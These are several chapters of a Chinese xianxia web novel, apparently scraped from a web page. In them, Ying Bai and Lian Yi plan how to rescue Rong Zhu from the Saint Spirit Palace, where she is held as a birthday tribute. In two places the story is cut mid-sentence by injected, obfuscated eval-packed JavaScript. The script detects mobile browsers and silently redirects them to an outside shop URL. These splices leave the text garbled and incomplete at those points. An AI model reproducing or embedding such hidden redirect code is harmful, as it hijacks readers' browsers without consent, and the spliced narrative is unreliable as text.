连逸瞳孔微睁,透过面容上的伪装能看出此人的本相,一丝几不可查的激动从他脸上一闪而过,“应白圣灵?”他顿了顿,严肃道:“我当然记得你,你有什么事吗?” 应白之所以能想到连逸是因为他在焦急担忧之下猛然想起是连逸将自己和容珠带去东林山的。那时的他虽然重伤昏迷,但意识时而清醒时而浑浊,断断续续地听容珠和一个男子对话,想起了容珠唤他大师兄。 他能感觉到此人并没有恶意,若是能多一个人帮自己出谋划策就再好不过了。 应白不知道他叫什么名字,他来到清凌门也直截了当地跟守门弟子说来找贵派大师兄。 应白没有废话,将容珠被当作生辰礼一事告诉了连逸。 连逸简直不敢相信自己听到了什么。修炼之人很清楚昌修圣灵要那些女子的目的以及那些被选中女子的最终结局,那些被吸干了阴气的女子很快就会变成一具干尸,大火一烧,化为灰烬。 不过他身处修炼之地,门派之中,对村野间偷女儿这种事却是不知道的。容珠成为生辰礼一事换作以前,连逸就装听不到赶紧逃走了,那时的他浑浑噩噩,不想成为众矢之的,只知躲避旁观,在讨厌人之恶意和自己的胆怯下自我折磨。 他是记得曾经有一个人向整个世界宣言:强者应保护弱小,人人当有仁爱。 他记得这个人的结局,记得这句话在这个世界里说出是多么的大逆不道,违背天理。可这句话藏在他心底好久,说这话的人他也一直记在心里,尽管他逼迫自己不再去想,可这句话总是像一个驻扎在他心底的恶魔,尤其是在他犹豫自我折磨时,冷不丁地冒出,一遍一遍在他耳边重复低语。 但自从经历容珠被处决一事后,他对这句大逆不道之言不再抱有妖言之偏见,而是开始好奇,想去验证,他的心态与思想在清凌门处罚容珠的绝望中重新建立。 此刻,当他听到容珠有危险时的第一反应是怎么样能将容珠救出来,畏缩之树已经开始枯萎,而坚定之苗正从土里迸发。可他很快就意识到一件事:“你找我不会以为凭我的能力能将容珠救出来吧?” 应白道:“我被关数年,还不知修真界有何变化,若未达到圣灵阶级,旁人能不能进圣灵宫?” “不能。”连逸斩钉截铁道,“除非有圣灵宫亲赐的护身符,不然旁人想越过那面屏障就会灵力尽失,成为痴呆。” 应白心底一沉。圣灵宫的规则并没有什么变化,就护身符而言,就算趁机将使者打晕,把他衣服扒光了也拿不到,因为使者是圣灵宫的常驻之人,他们的护身符是溶于体内的,永生有效,即便将他大卸八块也拿不到。 要么能拿到圣灵宫赐予的护身符,要么成为圣灵。 这两种选择,几乎哪一个都没可能。 “话说回来……”连逸看着他,“你从前也是圣灵,应该比我更清楚圣灵宫的规矩,如果你也想不出能救容珠的办法,那这件事……没有人能做到。” 22. 讨厌 天色渐渐暗了下来,夕阳斜挂在山头,血橙的光辉打在应白的帽檐上,他神色凝重,一身黑衣孤独又苍凉。 连逸立在风间欲言又止,脑后的头发兀自翻飞着,此刻他被容珠被当作生辰礼和自己正在跟应白说话这两种情绪包围着,定了定心问:“应白圣灵为什么认为我会想办法救容珠而不是希望她如此呢?”他顿了顿道:“我和她并没有交集。” 闻言,应白看着他的眼睛如实说:“容珠相信她的大师兄,而我相信容珠。” 连逸神色微怔,强忍着胸腔内因欣慰和愧疚引起的剧烈起伏,他想起了东林山下容珠当时坚定无畏的神色,容珠是他的师妹,他不想看到她眼中升起的光芒再次被熄灭。 “此事非同小可,我只能尽量想想有什么可能的办法……” 他虽然这么说,心里却在为这件事的困难程度而担忧,他一不认识圣灵宫的使者,而没有过强的能力,要怎么才能救出师妹,怎么帮助应白? 远处,清凌门弟子喊道:“大师兄,掌门唤你!” 连逸回过神来,一只脚刚想往回走,忽然想起了什么事,转头道:“我叫连逸,不知我能去哪找到你?” 应白思索片刻道:“民间照雨村,应宅。” 此应宅非应夫人之宅院,而是应白的私宅,离应夫人的宅子隔了几条街道。连逸虽是可信任之人,但难免世事无常,世人都知应白有个师父但无人知应白还有母亲。 师父本领高强,行迹不定,应白并不担心,他要预防的是将来若发生意料之外的事不会牵连到母亲。 听完这句话,连逸就大步流星回到了清凌门。 议事厅内,容檀坐在高座上正查看清凌门的账本,见有身影走了进来,她一双琉璃美目越过账本看向走入厅堂之人。 连逸恭敬道:“不知掌门传唤所为何事?” “你去哪了?” “吃饭。” 容檀不觉异常,她放下账本直接进入正题:“从前我大伯任掌门之时,清凌门上下所有事务都是他一人处理,你作为大师兄在有些事情上免不了要帮忙协助。如今昌修圣灵百岁生辰宴在即,你觉得清凌门为这场生辰宴出资多少合适?” 连逸深知出资一事困扰了容檀许久,她原先找过容江,但容江说自己不做主,没想到容檀明明看不惯自己,竟又来问自己这件事。 其实困扰容檀的不是该出多少钱,清凌门是从中灵降到低灵的,门派降级一事史无前例,这是容檀过不去的坎。 依照容檀的性子,她定不想看到别人笑话清凌门,如果为了不让别人笑话而拿出中灵或高灵门派该拿的资金份额必然又要被指点越级、无尊卑等等之类的话,可若只拿低灵该拿的份额,容檀又不甘心。 连逸道:“清凌门是低灵门派,掌门按照低灵门派该拿的份额出资就可。” 容檀神色一冷,从高座上缓缓起身,边走边说:“你可知低灵门派在生辰宴中被安排什么活计吗?” 连逸答:“扫地洗刷,搬运抬挂。”意思是粗活累活脏活都是低灵门派干,之所以不是平民来干是因为圣灵生辰,低贱之人是不配来宴会的,圣灵之尊容也不会让低贱之人所观。 他补充道:“清凌门从前是低灵时一直干的这些,尽管从中灵降为低灵是耻辱,但低灵门派所交份额不可超过中灵或高灵门派,所以这番做法并无不妥。” 容檀盯着他问:“你的意思是我应该听你的?” “连逸只是将内心想法说给掌门听,掌门是事情的最终决定者。” “呵……”容檀冷哼一声,“连逸,是不是不管别人怎么辱你骂你,你都不敢发怒反击,只会装作什么事都没有发生?别人骑到你头上来,你也只会好言好语地让他下来,并说是自己挡道而不关他人事?” 连逸眉头微微一皱,猜到容檀掌门又要开始发脾气了。 有时候他真的受不了容檀的高傲,她将灵阶和荣誉看得无比重要,门派降级于她而言就等同于对她能力的否定,对她的侮辱,她必须要洗刷这份耻辱,让所有人看得起她。 可容檀是一派掌门,她背后还有千百弟子,过往许多事连逸见她固执己见便想出言阻止,每一次都是还未开口说出几个字就被她堵回。 他虽是弟子,可他更是自己,容檀几次三番数落他,连逸心有郁结,忍不住道:“希望掌门清楚,外人对清凌门轻蔑的根本原因是灵阶降级,清凌门只有重新升阶才会翻转舆论,除此之外,清凌门做任何其他高调之事只会让外人更加斥责,因为一个被降级的低灵门派凭什么要在其他方面比别的门派做得好?掌门别忘了,你背负的是整个清凌门的荣辱,而非你个人脸面。” 屋内寂静异常。 容檀似乎发现了什么了不得的事,震惊之后脸上似笑非笑,惊怒交加,站在他面前,仰头问:“你是不是早就看不惯我当清凌门掌门了?你是不是认为我不配?你认为我只是一个十几岁的少女,空有灵力没有头脑,而你连逸在清凌门当了几年的大师兄,灵力不算太差也得前任掌门青睐,因此这个掌门之位该由你坐?” 连逸有些意外地看向她。 “可这个位子没轮到你!”容檀不听他解释,“我从前竟不曾发觉你有这样的野心,想来你从前温顺懦弱的样子是装出来的,是你哄骗了我爹,让他将你安排在我身边,这样你就离这个位子更近一步,是不是?” 连逸暗道自己刚才的话有些越矩,二话不说跪在地上,神情严肃道:“连逸以自身灵力起誓,从未对掌门之位有非分之想,否则灵核消散,沦为废物!” 容檀正言辞激愤地痛骂他,未料到他会发此毒誓,脸上挂着愤怒与意外,只恨恨地盯着他。 连逸继续道:“清凌门眼下受尽屈辱,按理讲这种关头由尊主成为掌门是最合适的选择,因为不论是从灵力还是资历来讲,尊主是前任掌门的亲弟弟,他是掌门的不二人选,但尊主却选择让您接替掌门一职,说明他相信您有这个能力,您毕竟少不更事,如果所有事情全凭您一人喜怒做主,那清凌门在逆风翻盘的道路上会格外艰辛。 “尊主看重我无非是因为前任掌门在世时,我常在他身边协助,耳濡目染,有少许处事经验。我既受尊主器重,必然要尽心尽力地辅佐您,若非关乎清凌门大事,尊主是不会插手掌门之事的。方才出资一事只是连逸片面之言,最终出资多少是掌门之权。” 十七岁的少女成为了一派掌门,这在整个修真界都找不出第二个存在。容檀一开始很是开心,她对变强如此渴望,自然对权力更是看重。 刚开始一段时间还有容江在旁指点着她,她也没有很累,还有功夫继续修炼,脸上成日挂着沾沾自喜的笑容,可慢慢地,容江便以自己不是掌门为由拒绝了容檀提出的很多求助之事。 门派之责在少女肩头越压越沉,同龄少女有掌门爹爹疼爱宠溺,不用操心任何事,而容檀尽管有爹爹的爱但掌门之责已经压得她快喘不过气。 她早已没多余的时间提升自己,于是越来越烦躁,变得易怒,一天之中不知要痛骂多少弟子,连逸跟在她身边说不胆战心惊是假的,可当他在无意间撞到几次容檀的脆弱一面时,他又觉得她只是一个少女,一个需要帮助,需要爱护的少女。 他对容檀的情感很复杂,不喜是真的,可怜也是真的。 他不想容檀在无 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容檀本来还在自己的鼓舞中重振心灵,又听得连逸说话不免坏了两分兴致,但一想到他解释自己并无觊觎之心的那番话,终面若霜寒地吐出两个字:“出去。” 连逸起身退下,走到门口时忽然想起容珠一事,不知不觉间停住了步子,站在门口出神。 “你还有什么事要对我说?” 身后传来容檀的声音。连逸试想了一下如果容檀知道容珠此事的反应,很快他决定闭口不谈,道了声无事便走了。 * 夜空繁星点点,清凌门的弟子在吃过晚饭后又开始了晚间的魔鬼训练。此刻,在圣灵宫的一处别院中,一群如花似玉的姑娘从木桶中沐浴而出,由婢女们换上准备好的纱衣。 这纱衣材质轻薄,质地柔软,走起步来裙摆翩翩,粉嫩的颜色穿在这些刚出浴的少女身上更显娇柔,腰部一圈以银珠点缀,勾勒出娉婷之姿,一举一动间,隐藏在衣裙下的肌肤若隐若现,芳香阵阵。 这里几乎所有的少女都是农村长大的,从来没穿过这么好的衣服,屋中正好放着几面大铜镜,少女们三三两两挤在一起,边照边转圈,嘴中不断惊呼自己的美貌,一双双眼仿佛看到了仙女下凡似的惊喜夸张。 独有一人站在院外看着夜空中的月亮,额间发丝还挂着沐浴后的水珠,与一双清亮柔美的双眸交相辉映,飘逸的粉裙更衬得她如出水芙蓉。月光打在她身上,萦绕着一圈白皙之光,立在身侧的一只手也在月光的照耀下散发着若有若无的黄色灵力。 半晌过后,容珠嘴角上扬。 看来那男人给自己喂的药效用快过了,她的灵力已经恢复,她可以正常走路,能逃跑了。 不过,容珠很清楚此刻身处圣灵宫,她们这一群人被笼在乾坤袋里,一转眼就来到了这方别院,她连路线都不知道,根本没法乱跑。 今日早些时候使者们告诉了她们接下来的安排,明天会有人来挑选她们的容貌,没被选上的人就会回家,选上的人就要进行为期三月的体内外滋养。 容珠听后后背顿时起了层鸡皮疙瘩,她从余光中看到所有的女子都在摸脸检查自己的五官,自言自语说自己一定能选上。 她回头看着那些在屋中转圈摆动着裙摆的少女,心头升出一股悲伤之感。她又望了望头顶上四方的天和周围的一切花草墙瓦。 这里是圣灵宫。 不可否认的是,圣灵宫是她从前一直奢望能去的地方,她做梦都想不到有一日会以这种途径实现梦想。 害怕、惶恐、胆怯、兴奋……这些情绪的确充斥在她的脑中。 她要活着,想办法自救才是她现在唯一需要考虑的事。 23. 挑选 这群被当作生辰礼的姑娘大约将近百名,晚上睡觉都是大通铺,一排一排在屋内分列,每个铺位之间留有一个只能过一人的通道,即便如此还没有将这间屋子塞满。 睡前,姑娘们叽里呱啦在聊天。她们本都互不认识,但在兴奋和快乐的催激下早已忘了腼腆一词。她们的话全都围绕“你是哪个村的”“我美不美”“这裙子穿在我身上好不好看”之类的话。 每个人都清楚谁比自己漂亮,但心内却坚信自己是最美的。攀谈与嫉妒形成了一股微妙的气息萦绕在这间屋子中,尽管容珠不想去听,但“小哑巴”三个字还是钻进了她的耳朵。 跟容珠从同一个村子里出来的那些女子早就在山脚下听到了使者们对她的评价,纷纷将这件事分享给别人听,低低的笑声在人群中忽隐忽现。 议论之声传入耳中,容珠身体一僵。可她转念一想,自己的目的跟她们完全不同,从前她被骂是废物的时候,她越是露出丁点难过之色,越是想要逃离,结果只会让对方更加高兴,她偏要充耳不闻,偏要处之泰然。 不因别人之言而内伤自己,这曾是师父在漩涡之境时跟她说过的一句话。 少女们谈论了一会儿终于觉得疲乏,乌泱泱的一群人渐渐进入了梦乡。 清晨,圣灵宫的侍女端来饭菜。早饭是一碗红枣紫米粥,一份清炒山药,一碗香油蛋羹,两个香气四溢的包子。 农村的伙食无非就是米汤糙粮,一日三餐土豆白菜萝卜换着吃,鸡蛋也不是所有人都能吃得起的。许多人从没吃过这样好的饭,屋内不闻说话声,所有人吃得大快朵颐。 早饭后开始由嬷嬷们给少女身体涂抹精油。嬷嬷们跟昨晚给她们洗澡的是同一批人,当时容珠就发现她们很是异常,心中有了猜测,此刻又多留心了几分,见有少女想问嬷嬷问题,而嬷嬷指了指自己的嘴巴摇摇头。 这不难理解,因为来到这儿的少女们下场十分不堪,若是伺候的人嘴巴不注意将这些少女们吓跑了怎么办,于是干脆断绝源头,让她们成为哑巴这样就好了。 可不会说话,手也会写字啊…… 容珠记得幼时跟父亲去民间时,父亲说农村人都没读过书,字也不会写,充其量只会写自己的名字。 看来这些嬷嬷们也不知几岁来的圣灵宫,她们来的时候是不是也怀揣着自己能修仙的希望,结果却是变成哑巴,再也回不去。 晌午,使者们来到院内门让众人出来排排站好等候筛选。 一个身影自半空中降落,顿感一股劲风扑面而来。映入眼帘的是一个衣装华贵的妇女,她年纪约有四五十岁,额间一抹紫。这出场自带的灵力席卷了在场众多女子,容珠暗道不愧是高灵阶级。 她冷着一张脸,似乎在看一群仇敌,这番模样倒让容珠想起了傲视万物的容檀。不过,一个是年老色衰的妇女,一个是正当妙龄的少女,自不可相同比拟。 一使者朝妇女恭敬道:“赵夫人。” 容珠缓缓瞪大了眼。 如果一个人成为了圣灵,第一件事就是收拾行李搬去圣灵宫,即便上有老母下有妻儿通通不管,因为低贱之人不配成为圣灵的家眷。因此圣灵大多都休妻弃家,要么就从来没娶过妻。 但这个赵夫人是修真界所有人都知道的人物,他是昌修在未成圣灵前的妻子,昌修成了圣灵后没有不要她但也没把她带到圣灵宫,这么做的目的不言而喻。 赵夫人可是一个高灵,放在整个修真界都是除圣灵外数一数二的强者,在昌修眼中,这可是个不可多得的宝物,若把她养养,将来把灵力渡到自己身上,将会对修为大有裨益。 赵夫人难道不知道自己的处境? 她当然知道,可她是弱者,逃不过一个圣灵的手心,她被所有人尊称为“夫人”,但每个人心里都清楚她不过是个等待让昌修圣灵使用的工具而已。 正想着,便听一位使者道:“赵夫人自山下而来,路途奔波,是否需要休息片刻再去筛选。” 赵夫人冷脸道:“不必了,现在就开始吧。” 她步履款款,从左手边第一个女子开始看起。将近百人站了十排,不到一盏茶的时间已经淘汰掉了前五排。 那些被淘汰的女子面露哭相,手足无措地站在另一旁,绝望到了极点。 赵夫人挑选人十分快,她只需要将面前女子从上到下看一眼就会立刻决定是走还是留,绝不会有片刻犹豫。 看着大批大批的少女容貌不合格,其他还站在队列中的少女纷纷颤抖起来。对她们而言这是扭转命运的大好机会,或许从此以后可以平步青云,再也不用放羊种地,过苦日子了。 终于,赵夫人留下了几个她认为容貌不错的女子,那些女子仿佛高兴得要哭出来了。当赵夫人快速选人的目光落在容珠身上时,她漠然冰冷的神情忽地有一丝惊讶。 她站在容珠面前细细端详着少女容貌,绕着她上下打量了好几圈,那双惊讶的眼眸不知何时开始变得狠戾,又好像在暗笑,带着几分幸灾乐祸的意思。 “说两句话我听听。”她像是发出了一种命令。 有使者道:“夫人,她是个哑巴。” 场中传来极其细小的低笑声。 “哈哈,哑巴?”赵夫人的脸又是诧异又是喜悦,这样的表情让她看起来有点可怖。她带着可惜与怜爱的神情俯视着容珠,一只手握住她的下巴,缓缓道:“真是浪费了这般好皮囊啊。” 她举手的时候,衣袖微微滑落,露出一截白皙的手臂,容珠清楚地瞧见,一道鲜红刺目的鞭痕十分突兀地显露出来。 赵夫人丝毫未发现容珠看见了什么,说了几声可惜之言后又道:“哑巴就哑巴吧,留下。” 最终,近百名被选中做生辰礼的女子就留下来二十人。 看着聚集在旁边那些哭唧唧的女孩儿,赵夫人道:“圣灵宫还缺婢女吗?” 一个使者答:“不缺。” 赵夫人道:“那便将她们消除记忆,各回各家。” 使者们拿出乾坤袋,将那些被淘汰的女孩儿装进袋中下了山,赵夫人也没有再逗留,衣袖一扬就走了。 被选中的女孩子个个笑颜如花,似有种劫后余生的欣喜。她们手挽着手一同去花园里闲逛。 这些花园修得精致唯美,如登仙境,任哪个村子里的姑娘都不可能不被这绚烂表现所迷惑。 容珠假装孤身一人去逛花园,边欣赏美景边观察有什么出口可以通向别处。可惜的是,各个出口都有人把守,除了饭点有婢女送饭,或洗澡按摩有嬷嬷进来,再没有旁人可以随意出入。 这便难了。她若出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673557|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不去这块区域,怎么能找到下山的路呢?她坐在凉亭里发呆,即便能找到下山的路就能成功逃出吗?她没有护身符便走不出那道结界。 绝望之感在浑身蔓延,容珠自我安慰:自己才刚来这里,等一月过后稍微熟悉些了,或许可以发现别的契机。 她往回走着,不免又开始伤感自己成为哑巴的事实,想起了丛林中应白那双明亮的眼眸。 一想起应白,容珠的心头不禁微微揪起,她叹了一声:“师父没有灵核,又怎么能进入圣灵宫呢?还是自己想办法吧。” 忽然,她脚步一顿,意识到了一件事:师父的灵核就圣灵宫的某个地方! 她呆站在原地,看着这四四方方的院落,如果可以,她真希望能帮师父拿回灵核,这本就是他的东西,旁人藏着算什么? 她的师父不是天下人所认为的疯子,他是除了父母外唯一对自己好的人,既然这样,她也要全心对他好,全心去爱他。 容珠雄心壮志地想了一会儿,看到送饭的婢女从长廊下鱼贯而入,她心生一计,只待机会来临。 * 照雨村,应宅。 应白这段时间就在这座宅院里待着。这个宅子其实他没住过几日,又荒废了这么些年,本应该脏乱不已,可应白来到这里时却见这座宅院从内到外干净整洁。应夫人说她这些年一直在打扫,心里一直等待着应白还会回来。 应白感动不已,对母亲说明了情况后便到这里住了。虽说他和连逸商定好有什么事互相找对方,但就这么坐以待毙也不是个法子。他无时无刻都想知道容珠当下的情形,谁知道被选中的少女都要经历什么样的事。 他当初在圣灵宫待了两年,对七位圣灵的性格多少有些了解,他自问最不喜欢昌修,因为其人浮夸张扬,欲念太重,成天都在想怎么样能成为世人追捧的对象,对自己颇有敌意。 当年在南海上空,七大圣灵围堵应白时,昌修总想凭一己之力制服应白,但实力不行心态又不稳自然不会有奇迹发生,直到万初出手挖了应白的灵核出来。昌修两眼放光,提出平分灵力之计,被万初拒绝,万初以圣灵宫资历最深这份身份把灵核密封在了自己宫殿里,昌修心中不平但又无可奈何。 其实对应白来讲,他早就忘了许多事,如今他没了灵核,本来是不会与圣灵宫有瓜葛的,可命运无常,人心险恶。昌修用圣灵身份威胁所有人必须在他过生辰时给他献交生辰礼,那些没钱买不来礼物的人只好想法子偷,偷别的礼物,偷别人的女儿,误打误撞,容珠成为了受害者。 应白很是揪心,他不敢想象若三个月后没有救出容珠会怎么样?那他便辜负了对母亲的承诺,辜负了容珠对自己的信任。 不知过了多少天,连逸在一个没有月亮的黑夜悄悄来到了照雨村的应宅。 敲门声警醒了应白,见是连逸,他一颗心又悬了起来。 连逸没有废话,直接道:“这些天我想到了一个可能性极低的办法,即便做成也不一定能进圣灵宫。” “是什么?” 浓夜漆黑,两个人的眸子都格外明亮。 “三个月后的百岁生辰宴上,清凌门会负责菜系一事,掌门让我全权操办。如果我们做得出色就会得到昌修圣灵的夸赞或者是奖励,而这个奖励很有可能是护身符。” 24. 商议 生辰宴菜系本来是宴会上的重头之一,是很多门派争先恐后想包揽的差事,但根据以往给昌修圣灵办生辰宴的经验来看,昌修对食物要求极高,每一年负责菜系一事的门派多多少少都会挨骂见血,就因为食物不够珍贵,或者做得不好吃,今年又逢百岁生辰,没一个门派吱声自己要负责这个环节,于是这个费钱吃力且不讨好的任务就你推我推推到了清凌门身上。 可想而知,百岁生辰宴对昌修而言是十万分重要之事,这场生辰宴定要举办得比他以往的每一个生辰都隆重奢华,可他什么山珍海味没吃过? 应白道:“怎么样算做得好?” 连逸皱眉:“正因为这个‘好’字太难,这便是第一阻碍,我想你或许能知道些他的喜好,我可以想办法尽力去做,且即便做得好也不一定能得到我们想要的奖励。有可能昌修圣灵只说了一句赞美话,也有可能他奖励的是别的东西,这便是第二道阻碍。” 这个法子成功的可能性的确很低,应白摇头道:“我不知道他有什么喜好,你说得固然是迄今为止最有可能的方法,但若把所有希望都寄托在这个法子当中,怕是不行。” 从前应白对昌修命令门派大肆操办生辰宴一事极为不喜,因此从来没有参加过他的生辰宴,更不知他生辰宴的诸多规矩,哪里知道他都吃些什么东西。 不过应白年轻时好歹也游历过不少地方,见过各种美食,尤其是另外一个世界天外天。 天外天的统治者被称为皇帝,大到官僚与江湖门派小到农民与牲畜全都根据他指定的政策来处事与买卖。那里的食物跟这个世界的并不一样,不是说食物本身不同,而是食物的做法与精巧程度完全打破了他对做饭的认知。 如果他仔细回想那些菜肴的做法,或许可能能琢磨出个“好”字来。 天外天一事是秘密,应白不打算告诉连逸,他道:“我对做饭颇感兴趣,不知有没有可能在生辰宴当天让我下厨?” 连逸瞪大了双眼,以为是夜风吹过耳边听差了意思,越回想越觉得这几个字再怎么转变也成不了别的意思。 “你会做饭?”他诸多震惊与疑问堵在喉咙间,最先吐出的却是这个问题。 “拜师时学的。”应白明白连逸何故这般表情。一句话:是低贱之人做的事。他又道:“人食五谷杂粮,做饭本就是再正常不过的事。” 看他神色如常,连逸并没有认为这是一件可耻之事,但他似乎很难受,喉结滚动了一下道:“这件事我做不了主。容珠被当做生辰礼一事我还没有告诉任何人,如果你要在生辰宴当天和其他清凌门弟子下厨,那这件事必须让掌门和尊主知道。” “我去拜访清凌门。”应白直截了当。 “不行!”连逸立刻意会到了他的意思,“你进去就不一定能出来了,别忘了,掌门一直想将你擅离漩涡之境的事情上报圣灵宫,而且你当时坠崖,对他们而言生死未卜,若你重新出现在他们面前,岂非自投罗网。” “可换作你去说,他们一旦追问到最后还会知道这消息是我告诉你的,你不如什么都不知道,我明日便去拜访,绝不会泄露任何你与我有交集的行为。”应白神色坚定,此事涉及到容珠安危,他不怕危险,他怕的是没有机会。 连逸忽然不客气道:“你既如此说,当初干嘛还要单独找我,我牵涉其中日思夜想救容珠的办法,你却跟我说不关我事。应白圣灵,容珠是我的师妹,想救她也是我的意愿,清凌门同不同意都不是你我说了算,但你不能左右我的行为。” 连逸没意识到自己最近火气也大,前两天刚跟掌门吵了一嘴,今日又对应白高声,要知道在他心里,应白犹如一个遥不可及的存在。本来留在清凌门也不是他所愿,他早就决定今后要遵从本心处事,管他清凌门怎么说他,管修真界怎么议论他,容珠就是他的师妹,她才不是万人唾弃的废物! 说实在的,应白对连逸是什么性情并不了解,只单纯的将他界定为可信任之人。此刻连逸在言语间将矛头指向他,但实则也是站在他这一边的,他不禁露出微笑,道:“那便明日?” 如上次一样,连逸直冲冲地说完后颇有悔意,虽然知道现在的应白没了灵核,但好歹曾经也成为过圣灵,年少成名,连逸对他的钦佩和仰慕是实打实的。 他冷静了一下道:“明日午后,我找个机会说明情况,你先在门外等着。” “多谢。”应白沉重而真挚的声音传进连逸耳中,连逸摇头笑道:“容珠幼年丧母,后来又失去了父亲,灵力低有什么错,清凌门好歹是她的家,竟容不下她……” 二人告别后,应白陷入了很长一段时间的沉思,明日一行必须要做好准备,这是进入圣灵宫唯一可能的方法了。 * 连逸回到清凌门时又听到掌门唤他。他来到堂前见容檀正坐在椅上,一只手支着头,好像睡着了。 堂内烛火摇曳,她静谧地睡着,若不注意她一身的华贵蓝衫,不注意她头顶的沉重玉冠,只单单看这张白皙安详的脸,同一个乖静少女没有什么区别。 但她从头到脚皆散发着掌门身份的气息,这些气息警醒着别人也提醒着她自己。她的言行举止早已被规定,连睡着时蹙起的眉也隐隐透露着掌门的威严。 连逸轻轻唤了声掌门,容檀眼皮一动,缓缓睁眼,眼白微红,带着些倦意问:“去哪了?” “吃饭。”连逸不紧不慢道,“不知掌门找我何事?” 容檀懒得直起腰板,眼皮似乎又闭上了,片刻道:“明日再说吧,你走吧。” 连逸想像往常一样掉头走人,但想了想还是道:“掌门若倦了还是回房歇息吧,椅子又凉又硬,容易睡不安稳。” 容檀没有说话,连逸见状不再多言,轻步走了出去。感觉到屋内安静了下来,容檀才微微睁眼,磨蹭了一阵,这才准备回屋睡觉。 第二日吃过早饭,容檀将昨日未问的问题说了出来:“你准备在生辰宴上做什么菜系?” 虽然是问连逸怎么做,但实际操作起来并不是连逸做饭,而是清凌门厨房里的婆子大爷。虽说都是低贱之人,但能在门派谋差事的终究跟民间那些有所区别。 闻言,连逸想起了应白说要下厨一事,但现在还不是说明的好机会,他道:“还未想好,不过百岁生辰宴十分重要,清凌门一定会尽心去做。” “这不行。”容檀淡淡道,“光尽心是不行的,一个圣灵的百岁生辰何其重要,你如何保证清凌门的尽心在昌修圣灵眼中不是小菜一碟?” 连逸试探性问:“莫非掌门已经有想法了?” 容檀抿了口茶道:“我有想法还问你做什么?我只是提醒你,尽心是最基本的,必须要出彩,最好能得到昌修圣灵的赞扬,只要他轻轻地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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想通这些,他们挥出的剑道劲力十足,人人脸上都是一副严肃认真的模样,为了门派,更多是为了自己。容檀甚是满意,也很清楚弟子们的心思,但清凌门现在需要人才,为了留住人才,培养人才,她必须有所付出。 能诱惑住那些弟子的当然是提升灵力的灵丹妙药。过往都是谁优秀才给谁资源,现在她每过三个月就给每一个人发一颗灵丹,这些灵丹虽不是名贵之物,但不论哪一家门派也不可能给弟子们这样的福利。 这些容江不过问也不发表意见,他仿佛像个退休的老头儿享受着独属于自己的惬意时光。 纵使在很多事情上他都或明或暗地拒绝帮助容檀,但容檀还是会过问他的想法。这一次,她又问起容江关于生辰宴菜系一事。 容江在看一本古籍,闻言放下书浅浅笑道:“檀儿是掌门,这等小事你做主就行了。” 小事?容檀真不明白自己父亲连给圣灵百岁生辰宴上做饭一事都称为小事,那得什么样的事才能叫做大事? 此时,连逸十分合时机地走了进来。他刚刚便一直在观察容檀和容江,容檀前一脚刚踏进门,连逸就在门口细听,正好容檀说起做饭一事,他知道时机来了。 而容檀见连逸进来出口便是:“你来干什么?” 容江轻声道:“檀儿,要有掌门的沉稳,不喜不怒。”又问连逸:“可有事说?” 连逸答:“的确有一件事。前几日,昌修圣灵座下使者去各地收生辰礼,有一户人家没钱买礼物,于是就偷了个少女充当自家生辰礼。” 容檀不解:“你说这个干什么?” 连逸道:“这个少女是容珠。” 屋中有片刻的凝滞。 “什么?”容江脸上的表情难得有一丝丝的变化,容檀微显错愕。 连逸补充道:“容珠此时已经在圣灵宫了。” 25. 谈判 容江:“你亲眼所见?” 连逸如实道:“是应白告诉我的,他一直和容珠在一起。” “什么!”容檀“噌”一下站起来:“应白还没死?他没有灵核,中了我的羽箭还能活着?容珠那废物也掉下去了,他们两个毫无灵力之人是怎么活下来的?” 容珠是生是死一事,连逸只跟容江说了,当时也是容江让他暗中去追寻的一件事。而容檀当时十分笃定容珠定会从此以后从这世上消失,从那么高的悬崖下坠落怎么可能还有生机? “容珠并非毫无灵力,她用了飘渺咒,两人皆平安落地。”连逸依旧实话实说,像在平淡地叙述一件事,但这句话里有些字眼却是容檀的导火索。她看向连逸的神情仿佛连逸就是能用飘渺咒的容珠。 她嘲讽道:“不愧是跟了应白,飘渺咒是低灵咒术,她竟也能用出来了?” 容江顾不上管容檀发脾气,他对连逸道:“难道应白还希望清凌门能帮他吗?” 这话听来带着丝丝凉意,也带着丝微妙的好奇,又夹杂着理所应当的反问。 正题已经引入,连逸道:“应白此时就在清凌门外,请问掌门和尊主是否见他?” 容檀像明白了什么似的,眯着眼盯连逸。连逸不作声,任凭容掌门的疑心传达到她一双眸上,经过自己身边时不咸不淡地冷哼一声。 “自投罗网来了?”容檀越过连逸走到门口看向远处:“让他进来。” 一盏茶后,应白在连逸的带领下来到议事厅。应白揖礼道:“见过掌门与尊主。” 容檀轻笑一声道:“应白圣灵,哦,现在不是圣灵了,我叫你应白可以吧?” 应白神色平静:“当然可以。” 容檀单刀直入:“你想让我们帮你救容珠?容珠非我清凌门弟子,我想不明白你有什么理由让我们去救一个废物?” 应白垂下眼睫,盖住一半眼眸,深棕色的瞳仁显得他平易温和,多日思虑,眼下泛着一圈疲惫之色,看起来毫无力量,但若纵观全身,他眼眸的温和又像是一种伪装,好像在这具不被人所在乎的躯体之下正蕴藏着一股暗波流动的危险气息。 “容珠的确不是清凌门的弟子,但她身上还流淌着清凌门逝去之人的血,可否请容掌门看在这一点上愿意出手相助?” “流淌着清凌门的血……”容檀重复了一遍他的理由,忽然想起当年应白被修真界人人称之为疯子的原因。 “你不会还沉浸在自己那句‘人人当有仁爱’的话里吧?被关了这么多年还没反省吗?如果没有,那我就告诉你,这个世界强者为尊,血缘与灵力相比根本不值一提。从前是她父亲任掌门一职,他说什么清凌门上下不敢反对,但如今我是清凌门掌门,我说不救,自然没有人愿意救。” 